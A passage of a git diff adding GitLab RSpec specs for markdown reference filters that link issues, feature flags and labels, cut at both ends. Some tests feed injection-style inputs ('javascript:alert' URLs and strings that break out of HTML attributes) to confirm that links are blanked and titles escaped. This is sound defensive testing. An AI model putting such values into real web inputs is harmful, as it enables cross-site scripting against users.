+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
+ end
+
+ it 'supports an :only_path context' do
+ doc = filter("Issue #{reference}", only_path: true)
+
+ link = doc.css('a').first.attr('href')
+ issue_id = doc.css('a').first["data-external-issue"]
+
+ expect(link).to eq project.external_issue_tracker.issue_path(issue_id)
+ end
+
+ it 'has an empty link if issue_url is invalid' do
+ expect_any_instance_of(project.external_issue_tracker.class).to receive(:issue_url) { 'javascript:alert("foo");' }
+
+ doc = filter("Issue #{reference}")
+ link = doc.css('a').first.attr('href')
+
+ expect(link).to eq ''
+ end
+
+ it 'has an empty link if issue_path is invalid' do
+ expect_any_instance_of(project.external_issue_tracker.class).to receive(:issue_path) { 'javascript:alert("foo");' }
+
+ doc = filter("Issue #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).to eq ''
+ end
+
+ context 'with RequestStore enabled', :request_store do
+ let(:reference_filter) { HTML::Pipeline.new([described_class]) }
+
+ it 'queries the collection on the first call' do
+ expect_any_instance_of(Project).to receive(:default_issues_tracker?).once.and_call_original
+ expect_any_instance_of(Project).to receive(:external_issue_reference_pattern).once.and_call_original
+
+ not_cached = reference_filter.call("look for #{reference}", { project: project })
+
+ expect_any_instance_of(Project).not_to receive(:default_issues_tracker?)
+ expect_any_instance_of(Project).not_to receive(:external_issue_reference_pattern)
+
+ cached = reference_filter.call("look for #{reference}", { project: project })
+
+ # Links must be the same
+ expect(cached[:output].css('a').first[:href]).to eq(not_cached[:output].css('a').first[:href])
+ end
+ end
+ end
+
+ context "redmine project" do
+ let_it_be(:service) { create(:redmine_service, project: project) }
+
+ before do
+ project.update!(issues_enabled: false)
+ end
+
+ context "with a hash prefix" do
+ let(:issue) { ExternalIssue.new("#123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "with a single-letter prefix" do
+ let(:issue) { ExternalIssue.new("T-123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+ end
+
+ context "youtrack project" do
+ let_it_be(:service) { create(:youtrack_service, project: project) }
+
+ before do
+ project.update!(issues_enabled: false)
+ end
+
+ context "with right markdown" do
+ let(:issue) { ExternalIssue.new("YT-123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "with underscores in the prefix" do
+ let(:issue) { ExternalIssue.new("PRJ_1-123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "with lowercase letters in the prefix" do
+ let(:issue) { ExternalIssue.new("YTkPrj-123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "with a single-letter prefix" do
+ let(:issue) { ExternalIssue.new("T-123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "with a lowercase prefix" do
+ let(:issue) { ExternalIssue.new("gl-030", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+ end
+
+ context "jira project" do
+ let_it_be(:service) { create(:jira_service, project: project) }
+
+ let(:reference) { issue.to_reference }
+
+ context "with right markdown" do
+ let(:issue) { ExternalIssue.new("JIRA-123", project) }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "with a single-letter prefix" do
+ let(:issue) { ExternalIssue.new("J-123", project) }
+
+ it "ignores reference" do
+ exp = act = "Issue #{reference}"
+ expect(filter(act).to_html).to eq exp
+ end
+ end
+
+ context "with wrong markdown" do
+ let(:issue) { ExternalIssue.new("#123", project) }
+
+ it "ignores reference" do
+ exp = act = "Issue #{reference}"
+ expect(filter(act).to_html).to eq exp
+ end
+ end
+ end
+
+ context "ewm project" do
+ let_it_be(:service) { create(:ewm_service, project: project) }
+
+ before do
+ project.update!(issues_enabled: false)
+ end
+
+ context "rtcwi keyword" do
+ let(:issue) { ExternalIssue.new("rtcwi 123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "workitem keyword" do
+ let(:issue) { ExternalIssue.new("workitem 123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "defect keyword" do
+ let(:issue) { ExternalIssue.new("defect 123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "task keyword" do
+ let(:issue) { ExternalIssue.new("task 123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+
+ context "bug keyword" do
+ let(:issue) { ExternalIssue.new("bug 123", project) }
+ let(:reference) { issue.to_reference }
+
+ it_behaves_like "external issue tracker"
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/feature_flag_reference_filter_spec.rb b/spec/lib/banzai/filter/references/feature_flag_reference_filter_spec.rb
new file mode 100644
index 00000000000..c64b66f746e
--- /dev/null
+++ b/spec/lib/banzai/filter/references/feature_flag_reference_filter_spec.rb
@@ -0,0 +1,223 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::FeatureFlagReferenceFilter do
+ include FilterSpecHelper
+
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:feature_flag) { create(:operations_feature_flag, project: project) }
+ let_it_be(:reference) { feature_flag.to_reference }
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Feature Flag #{reference}</#{elem}>"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'with internal reference' do
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.edit_project_feature_flag_url(project, feature_flag)
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Feature Flag (#{reference}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(reference)}</a>\.\)})
+ end
+
+ it 'ignores invalid feature flag IIDs' do
+ exp = act = "Check [feature_flag:#{non_existing_record_id}]"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'includes a title attribute' do
+ doc = reference_filter("Feature Flag #{reference}")
+
+ expect(doc.css('a').first.attr('title')).to eq feature_flag.name
+ end
+
+ it 'escapes the title attribute' do
+ allow(feature_flag).to receive(:name).and_return(%{"></a>whatever<a title="})
+ doc = reference_filter("Feature Flag #{reference}")
+
+ expect(doc.text).to eq "Feature Flag #{reference}"
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Feature Flag #{reference}")
+
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-feature_flag has-tooltip'
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("Feature Flag #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-feature-flag attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-feature-flag')
+ expect(link.attr('data-feature-flag')).to eq feature_flag.id.to_s
+ end
+
+ it 'supports an :only_path context' do
+ doc = reference_filter("Feature Flag #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).not_to match %r(https?://)
+ expect(link).to eq urls.edit_project_feature_flag_url(project, feature_flag.iid, only_path: true)
+ end
+ end
+
+ context 'with cross-project / cross-namespace complete reference' do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:feature_flag) { create(:operations_feature_flag, project: project2) }
+ let_it_be(:reference) { "[feature_flag:#{project2.full_path}/#{feature_flag.iid}]" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.edit_project_feature_flag_url(project2, feature_flag)
+ end
+
+ it 'produces a valid text in a link' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eql(reference)
+ end
+
+ it 'produces a valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.text).to eql("See (#{reference}.)")
+ end
+
+ it 'ignores invalid feature flag IIDs on the referenced project' do
+ exp = act = "Check [feature_flag:#{non_existing_record_id}]"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'with cross-project / same-namespace complete reference' do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project) { create(:project, :public, namespace: namespace) }
+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:feature_flag) { create(:operations_feature_flag, project: project2) }
+ let_it_be(:reference) { "[feature_flag:#{project2.full_path}/#{feature_flag.iid}]" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.edit_project_feature_flag_url(project2, feature_flag)
+ end
+
+ it 'produces a valid text in a link' do
+ doc = reference_filter("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
+
+ expect(doc.css('a').first.text).to eql("[feature_flag:#{project2.path}/#{feature_flag.iid}]")
+ end
+
+ it 'produces a valid text' do
+ doc = reference_filter("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
+
+ expect(doc.text).to eql("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
+ end
+
+ it 'ignores invalid feature flag IIDs on the referenced project' do
+ exp = act = "Check [feature_flag:#{non_existing_record_id}]"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'with cross-project shorthand reference' do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project) { create(:project, :public, namespace: namespace) }
+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:feature_flag) { create(:operations_feature_flag, project: project2) }
+ let_it_be(:reference) { "[feature_flag:#{project2.path}/#{feature_flag.iid}]" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.edit_project_feature_flag_url(project2, feature_flag)
+ end
+
+ it 'produces a valid text in a link' do
+ doc = reference_filter("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
+
+ expect(doc.css('a').first.text).to eql("[feature_flag:#{project2.path}/#{feature_flag.iid}]")
+ end
+
+ it 'produces a valid text' do
+ doc = reference_filter("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
+
+ expect(doc.text).to eql("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
+ end
+
+ it 'ignores invalid feature flag IDs on the referenced project' do
+ exp = act = "Check [feature_flag:#{non_existing_record_id}]"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'with cross-project URL reference' do
+ let_it_be(:namespace) { create(:namespace, name: 'cross-reference') }
+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:feature_flag) { create(:operations_feature_flag, project: project2) }
+ let_it_be(:reference) { urls.edit_project_feature_flag_url(project2, feature_flag) }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.edit_project_feature_flag_url(project2, feature_flag)
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(feature_flag.to_reference(project))}</a>\.\)})
+ end
+
+ it 'ignores invalid feature flag IIDs on the referenced project' do
+ act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to match(%r{<a.+>#{Regexp.escape(invalidate_reference(reference))}</a>})
+ end
+ end
+
+ context 'with group context' do
+ let_it_be(:group) { create(:group) }
+
+ it 'links to a valid reference' do
+ reference = "[feature_flag:#{project.full_path}/#{feature_flag.iid}]"
+ result = reference_filter("See #{reference}", { project: nil, group: group } )
+
+ expect(result.css('a').first.attr('href')).to eq(urls.edit_project_feature_flag_url(project, feature_flag))
+ end
+
+ it 'ignores internal references' do
+ exp = act = "See [feature_flag:#{feature_flag.iid}]"
+
+ expect(reference_filter(act, project: nil, group: group).to_html).to eq exp
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/issue_reference_filter_spec.rb b/spec/lib/banzai/filter/references/issue_reference_filter_spec.rb
new file mode 100644
index 00000000000..b849355f6db
--- /dev/null
+++ b/spec/lib/banzai/filter/references/issue_reference_filter_spec.rb
@@ -0,0 +1,549 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::IssueReferenceFilter do
+ include FilterSpecHelper
+ include DesignManagementTestHelpers
+
+ def helper
+ IssuesHelper
+ end
+
+ let(:project) { create(:project, :public) }
+ let(:issue) { create(:issue, project: project) }
+ let(:issue_path) { "/#{issue.project.namespace.path}/#{issue.project.path}/-/issues/#{issue.iid}" }
+ let(:issue_url) { "http://#{Gitlab.config.gitlab.host}#{issue_path}" }
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Issue #{issue.to_reference}</#{elem}>"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ describe 'performance' do
+ let(:another_issue) { create(:issue, project: project) }
+
+ it 'does not have a N+1 query problem' do
+ single_reference = "Issue #{issue.to_reference}"
+ multiple_references = "Issues #{issue.to_reference} and #{another_issue.to_reference}"
+
+ control_count = ActiveRecord::QueryRecorder.new { reference_filter(single_reference).to_html }.count
+
+ expect { reference_filter(multiple_references).to_html }.not_to exceed_query_limit(control_count)
+ end
+ end
+
+ context 'internal reference' do
+ let(:reference) { "##{issue.iid}" }
+
+ it_behaves_like 'a reference containing an element node'
+
+ it 'links to a valid reference' do
+ doc = reference_filter("Fixed #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq issue_url
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+ expect(doc.text).to eql("Fixed (#{reference}.)")
+ end
+
+ it 'ignores invalid issue IDs' do
+ invalid = invalidate_reference(reference)
+ exp = act = "Fixed #{invalid}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'includes a title attribute' do
+ doc = reference_filter("Issue #{reference}")
+ expect(doc.css('a').first.attr('title')).to eq issue.title
+ end
+
+ it 'escapes the title attribute' do
+ issue.update_attribute(:title, %{"></a>whatever<a title="})
+
+ doc = reference_filter("Issue #{reference}")
+ expect(doc.text).to eq "Issue #{reference}"
+ end
+
+ it 'renders non-HTML tooltips' do
+ doc = reference_filter("Issue #{reference}")
+
+ expect(doc.at_css('a')).not_to have_attribute('data-html')
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Issue #{reference}")
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("Issue #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-issue attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-issue')
+ expect(link.attr('data-issue')).to eq issue.id.to_s
+ end
+
+ it 'includes a data-original attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-original')
+ expect(link.attr('data-original')).to eq reference
+ end
+
+ it 'does not escape the data-original attribute' do
+ inner_html = 'element <code>node</code> inside'
+ doc = reference_filter(%{<a href="#{reference}">#{inner_html}</a>})
+ expect(doc.children.first.attr('data-original')).to eq inner_html
+ end
+
+ it 'supports an :only_path context' do
+ doc = reference_filter("Issue #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).not_to match %r(https?://)
+ expect(link).to eq issue_path
+ end
+
+ it 'does not process links containing issue numbers followed by text' do
+ href = "#{reference}st"
+ doc = reference_filter("<a href='#{href}'></a>")
+ link = doc.css('a').first.attr('href')
+
+ expect(link).to eq(href)
+ end
+ end
+
+ context 'cross-project / cross-namespace complete reference' do
+ let(:reference) { "#{project2.full_path}##{issue.iid}" }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public) }
+
+ it_behaves_like 'a reference containing an element node'
+
+ it 'ignores valid references when cross-reference project uses external tracker' do
+ expect_any_instance_of(described_class).to receive(:find_object)
+ .with(project2, issue.iid)
+ .and_return(nil)
+
+ exp = act = "Issue #{reference}"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq issue_url
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.full_path}##{issue.iid}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.text).to eq("Fixed (#{project2.full_path}##{issue.iid}.)")
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
+ end
+
+ it 'ignores invalid issue IDs on the referenced project' do
+ exp = act = "Fixed #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project / same-namespace complete reference' do
+ let(:reference) { "#{project2.full_path}##{issue.iid}" }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:project) { create(:project, :public, namespace: namespace) }
+ let(:namespace) { create(:namespace) }
+
+ it_behaves_like 'a reference containing an element node'
+
+ it 'ignores valid references when cross-reference project uses external tracker' do
+ expect_any_instance_of(described_class).to receive(:find_object)
+ .with(project2, issue.iid)
+ .and_return(nil)
+
+ exp = act = "Issue #{reference}"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq issue_url
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.path}##{issue.iid}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.text).to eq("Fixed (#{project2.path}##{issue.iid}.)")
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
+ end
+
+ it 'ignores invalid issue IDs on the referenced project' do
+ exp = act = "Fixed #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project shorthand reference' do
+ let(:reference) { "#{project2.path}##{issue.iid}" }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:project) { create(:project, :public, namespace: namespace) }
+ let(:namespace) { create(:namespace) }
+
+ it_behaves_like 'a reference containing an element node'
+
+ it 'ignores valid references when cross-reference project uses external tracker' do
+ expect_any_instance_of(described_class).to receive(:find_object)
+ .with(project2, issue.iid)
+ .and_return(nil)
+
+ exp = act = "Issue #{reference}"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq issue_url
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.path}##{issue.iid}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.text).to eq("Fixed (#{project2.path}##{issue.iid}.)")
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
+ end
+
+ it 'ignores invalid issue IDs on the referenced project' do
+ exp = act = "Fixed #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project URL reference' do
+ let(:reference) { issue_url + "#note_123" }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:namespace) { create(:namespace, name: 'cross-reference') }
+
+ it_behaves_like 'a reference containing an element node'
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq reference
+ end
+
+ it 'link with trailing slash' do
+ doc = reference_filter("Fixed (#{issue_url + "/"}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(issue.to_reference(project))}</a>\.\)})
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(issue.to_reference(project))} \(comment 123\)</a>\.\)})
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Fixed (#{reference}.)")
+
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
+ end
+ end
+
+ context 'cross-project reference in link href' do
+ let(:reference_link) { %{<a href="#{reference}">Reference</a>} }
+ let(:reference) { issue.to_reference(project) }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:namespace) { create(:namespace, name: 'cross-reference') }
+
+ it_behaves_like 'a reference containing an element node'
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference_link}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq issue_url
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Fixed (#{reference_link}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>Reference</a>\.\)})
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Fixed (#{reference_link}.)")
+
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
+ end
+ end
+
+ context 'cross-project URL in link href' do
+ let(:reference_link) { %{<a href="#{reference}">Reference</a>} }
+ let(:reference) { "#{issue_url + "#note_123"}" }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:namespace) { create(:namespace, name: 'cross-reference') }
+
+ it_behaves_like 'a reference containing an element node'
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference_link}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq issue_url + "#note_123"
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Fixed (#{reference_link}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>Reference</a>\.\)})
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Fixed (#{reference_link}.)")
+
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
+ end
+ end
+
+ context 'when processing a link to the designs tab' do
+ let(:designs_tab_url) { url_for_designs(issue) }
+ let(:input_text) { "See #{designs_tab_url}" }
+
+ subject(:link) { reference_filter(input_text).css('a').first }
+
+ before do
+ enable_design_management
+ end
+
+ it 'includes the word "designs" after the reference in the text content', :aggregate_failures do
+ expect(link.attr('title')).to eq(issue.title)
+ expect(link.attr('href')).to eq(designs_tab_url)
+ expect(link.text).to eq("#{issue.to_reference} (designs)")
+ end
+
+ context 'design management is not available' do
+ before do
+ enable_design_management(false)
+ end
+
+ it 'links to the issue, but not to the designs tab' do
+ expect(link.text).to eq(issue.to_reference)
+ end
+ end
+ end
+
+ context 'group context' do
+ let(:group) { create(:group) }
+ let(:context) { { project: nil, group: group } }
+
+ it 'ignores shorthanded issue reference' do
+ reference = "##{issue.iid}"
+ text = "Fixed #{reference}"
+
+ expect(reference_filter(text, context).to_html).to eq(text)
+ end
+
+ it 'ignores valid references when cross-reference project uses external tracker' do
+ expect_any_instance_of(described_class).to receive(:find_object)
+ .with(project, issue.iid)
+ .and_return(nil)
+
+ reference = "#{project.full_path}##{issue.iid}"
+ text = "Issue #{reference}"
+
+ expect(reference_filter(text, context).to_html).to eq(text)
+ end
+
+ it 'links to a valid reference for complete cross-reference' do
+ reference = "#{project.full_path}##{issue.iid}"
+ doc = reference_filter("See #{reference}", context)
+
+ link = doc.css('a').first
+ expect(link.attr('href')).to eq(issue_url)
+ expect(link.text).to include("#{project.full_path}##{issue.iid}")
+ end
+
+ it 'ignores reference for shorthand cross-reference' do
+ reference = "#{project.path}##{issue.iid}"
+ text = "See #{reference}"
+
+ expect(reference_filter(text, context).to_html).to eq(text)
+ end
+
+ it 'links to a valid reference for url cross-reference' do
+ reference = issue_url + "#note_123"
+
+ doc = reference_filter("See #{reference}", context)
+
+ link = doc.css('a').first
+ expect(link.attr('href')).to eq(issue_url + "#note_123")
+ expect(link.text).to include("#{project.full_path}##{issue.iid}")
+ end
+
+ it 'links to a valid reference for cross-reference in link href' do
+ reference = "#{issue_url + "#note_123"}"
+ reference_link = %{<a href="#{reference}">Reference</a>}
+
+ doc = reference_filter("See #{reference_link}", context)
+
+ link = doc.css('a').first
+ expect(link.attr('href')).to eq(issue_url + "#note_123")
+ expect(link.text).to include('Reference')
+ end
+
+ it 'links to a valid reference for issue reference in the link href' do
+ reference = issue.to_reference(group)
+ reference_link = %{<a href="#{reference}">Reference</a>}
+ doc = reference_filter("See #{reference_link}", context)
+
+ link = doc.css('a').first
+ expect(link.attr('href')).to eq(issue_url)
+ expect(link.text).to include('Reference')
+ end
+ end
+
+ describe '#records_per_parent' do
+ context 'using an internal issue tracker' do
+ it 'returns a Hash containing the issues per project' do
+ doc = Nokogiri::HTML.fragment('')
+ filter = described_class.new(doc, project: project)
+
+ expect(filter).to receive(:parent_per_reference)
+ .and_return({ project.full_path => project })
+
+ expect(filter).to receive(:references_per_parent)
+ .and_return({ project.full_path => Set.new([issue.iid]) })
+
+ expect(filter.records_per_parent)
+ .to eq({ project => { issue.iid => issue } })
+ end
+ end
+ end
+
+ describe '.references_in' do
+ let(:merge_request) { create(:merge_request) }
+
+ it 'yields valid references' do
+ expect do |b|
+ described_class.references_in(issue.to_reference, &b)
+ end.to yield_with_args(issue.to_reference, issue.iid, nil, nil, MatchData)
+ end
+
+ it "doesn't yield invalid references" do
+ expect do |b|
+ described_class.references_in('#0', &b)
+ end.not_to yield_control
+ end
+
+ it "doesn't yield unsupported references" do
+ expect do |b|
+ described_class.references_in(merge_request.to_reference, &b)
+ end.not_to yield_control
+ end
+ end
+
+ describe '#object_link_text_extras' do
+ before do
+ enable_design_management(enabled)
+ end
+
+ let(:current_user) { project.owner }
+ let(:enabled) { true }
+ let(:matches) { Issue.link_reference_pattern.match(input_text) }
+ let(:extras) { subject.object_link_text_extras(issue, matches) }
+
+ subject { filter_instance }
+
+ context 'the link does not go to the designs tab' do
+ let(:input_text) { Gitlab::Routing.url_helpers.project_issue_url(issue.project, issue) }
+
+ it 'does not include designs' do
+ expect(extras).not_to include('designs')
+ end
+ end
+
+ context 'the link goes to the designs tab' do
+ let(:input_text) { url_for_designs(issue) }
+
+ it 'includes designs' do
+ expect(extras).to include('designs')
+ end
+
+ context 'design management is disabled' do
+ let(:enabled) { false }
+
+ it 'does not include designs in the extras' do
+ expect(extras).not_to include('designs')
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/label_reference_filter_spec.rb b/spec/lib/banzai/filter/references/label_reference_filter_spec.rb
new file mode 100644
index 00000000000..db7dda96cad
--- /dev/null
+++ b/spec/lib/banzai/filter/references/label_reference_filter_spec.rb
@@ -0,0 +1,705 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require 'html/pipeline'
+
+RSpec.describe Banzai::Filter::References::LabelReferenceFilter do
+ include FilterSpecHelper
+
+ let(:project) { create(:project, :public, name: 'sample-project') }
+ let(:label) { create(:label, project: project) }
+ let(:reference) { label.to_reference }
+
+ it_behaves_like 'HTML text with references' do
+ let(:resource) { label }
+ let(:resource_text) { resource.title }
+ end
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Label #{reference}</#{elem}>"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Label #{reference}")
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-label has-tooltip gl-link gl-label-link'
+ end
+
+ it 'avoids N+1 cached queries', :use_sql_query_cache, :request_store do
+ # Run this once to establish a baseline
+ reference_filter("Label #{reference}")
+
+ control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ reference_filter("Label #{reference}")
+ end
+
+ labels_markdown = Array.new(10, "Label #{reference}").join('\n')
+
+ expect { reference_filter(labels_markdown) }.not_to exceed_all_query_limit(control_count.count)
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("Label #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-label attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-label')
+ expect(link.attr('data-label')).to eq label.id.to_s
+ end
+
+ it 'includes protocol when :only_path not present' do
+ doc = reference_filter("Label #{reference}")
